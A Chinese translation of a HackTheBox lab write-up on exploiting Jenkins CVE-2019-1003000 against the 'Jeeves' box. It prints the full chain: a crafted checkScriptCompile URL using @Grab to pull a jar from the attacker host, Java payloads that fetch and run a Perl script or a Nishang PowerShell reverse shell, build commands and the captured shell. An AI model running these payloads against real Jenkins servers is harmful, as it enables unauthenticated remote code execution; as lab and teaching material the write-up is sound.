前言

Orange Tsai发表了一篇关于CVE-2019-1003000的write up,wp的关注点在于Jenkins中的RCE。最近我发现了HackTheBox.eu中部署了Jenkins的测试平台,虽然相关配置不是那么完美,但我决定用它练练手,看看有没有新发现。
为了方便在Windows环境中运行,我将使用一个新的payload来对漏洞进行测试。

概述

漏洞利用背景

Jenkins有一个用Groovy实现的Pipeline特性。漏洞作者发现,用户发出一个未经验证的GET请求可作为Groovy元编程输入。在此输入中,攻击者可以使用@Grab注释来调用Grape(Groovy的内置JAR依赖管理工具),下载并运行一个JAR文件。wp中有关于此漏洞的更多细节。

目标主机:Jeeves

我将在HackTheBox.eu的Jeeves中展开相关测试。Jenkins的web端口:50000

http://10.10.10.63:50000/askjeeves

Jeeves主机已关闭Jenkins的身份验证。实际上,只需访问脚本控制台并在那里运行Groovy脚本,就可以轻松地解决这个问题。
不过,我将看看是否可以使用提供的路径执行,即使没有身份验证,我也可以访问。
我还必须更新Windows目标的payload。

Exploiting

调用Grape

如果攻击的目的是创建一个GET请求,让Jenkins连接回我的机器并请求JAR文件,那调用Grape是一个非常妙的操作。
POC视频中,我们可以看到在没有身份验证的情况下访问/securityRealm/user/admin并返回一个管理员页面。我可以通过访问:

http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/


现在,我将使用Groovy访问工作流插件的checkScriptCompile API端点,Groovy应该使用@Grab元注释向我请求jar。利用python3 -m http.server 80访问:

http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;

在这个url中,我提供了一个value参数,它是要运行的Groovy脚本。它使用%0A作为换行符。未编码之前的脚本:

@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;

它定义了orange.tw包的参数,包括从哪里获取它,然后调用@Grab来获取它。
在访问url时,Web服务器上的活动:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -

很酷!它试图下载一个pom文件,但失败了,随着就将目标转换为poc-1.jar。这就匹配了url中的moduleversion。我可以在url中将module改为“0xdf”,将version改为“223”,看看有什么反应:

10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -

Web浏览器显示了一条很大的错误消息,表示无法解析依赖项:

构建Jar payload

博客提供了一个payload:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

这将执行/bin/bash -c curl orange.tw/bc.pl | perl -.我可以假设bc.pl是一个反向shell。
对于Windows目标,必须对此进行修改。我将运行PowerShell来获取和调用Nishang shell

public class Orange {
    public Orange(){
        try {
            String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
            String[] cmds = {"cmd", "/c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

现在我要将它放进jar中,编译java:

root@kali# javac Orange.java

创建适当的元数据:

root@kali# mkdir -p META-INF/services/
root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners 
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

将其打包到jar中:

root@kali# jar cvf 0xdf-223.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)

阶段性的Payloads

接下来,我将把jar移动到GET请求的路径中:

root@kali# mkdir -p tw/orange/0xdf/223/
root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/

我还备份了Invoke-PowerShellTcp.ps1并且命名为shell.ps1,以匹配jar中的内容:

root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1

然后,我将抓取示例行并将其粘贴到文件末尾,其中包含我的IP/端口信息:

root@kali# tail -1 shell.ps1 
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443

现在PowerShell将请求此文件,并执行该文件,将所有函数加载到PowerShell会话中,然后调用创建shell连接的会话。

Exploit

我将打开端口443上的nc监听器。。现在我只需要再次访问url。刷新时,我首先看到Web服务器中的活动,6秒后请求jar文件,然后是请求shell.ps1

10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -

不久后,得到shell

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke

故障分析

java 版本

我第一次尝试时,Jenkins下载了我的jar文件,我在Web浏览器中收到以下错误消息:

java.lang.UnsupportedClassVersionError:Orange是由Java运行时的最新版本(class file版本55.0)编译的,该版本的Java运行时只识别52.0之前的class file版本

根据Wikipedia,版本51是Java SE 11,版本52是Java SE 8。

我在我的电脑上安装了Java 8

root@kali# apt install openjdk-8-jdk

然后,我使用了update-alternatives来选择正确的版本:

root@kali# update-alternatives --config javac
There are 4 choices for the alternative javac (providing /usr/bin/javac).

  Selection    Path                                          Priority   Status
------------------------------------------------------------
  0            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      auto mode
* 1            /opt/jdk-11.0.2/bin/javac                      1         manual mode
  2            /usr/lib/jvm/java-10-openjdk-amd64/bin/javac   1101      manual mode
  3            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      manual mode
  4            /usr/lib/jvm/java-8-openjdk-amd64/bin/javac    1081      manual mode

Press <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode

然后就可以了!

更新Jar

如果我在jar文件中弄错了什么东西,我不能只在本地更新它并刷新它。Grape认为正确的模块已经存在,不会去重新获取它。当然,我可以重置主机,重新开始。但是我也可以用下一个版本号重新构建它。
例如,如果我上传的java版本与box不兼容,我可以在本地重新编译它,重新构建jar,以及使用version 224而不是223进行其他操作。除此之外还需要一个新的jar目录和文件名:

root@kali# javac Orange.java 
root@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/

现在我更新了url中的版本并刷新,得到了一个shell。

原文链接:https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html

点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖